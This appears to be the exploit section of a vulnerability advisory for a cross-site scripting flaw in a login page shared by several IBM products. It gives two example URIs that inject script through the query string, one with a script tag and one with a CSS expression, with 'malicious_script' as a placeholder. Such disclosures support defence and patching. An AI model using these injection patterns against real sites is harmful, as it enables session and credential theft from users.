• info
• discussion
• exploit
• solution
• references

Multiple IBM Products Login Page Cross Site Scripting Vulnerability

Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://www.example.com/wps/wcm/webinterface/login/login.jsp?";><script>maliciou s_script</script><b%20"

http://www.example.com/wps/wcm/webinterface/login/login.jsp?"; style="tr:expression(malicious_script)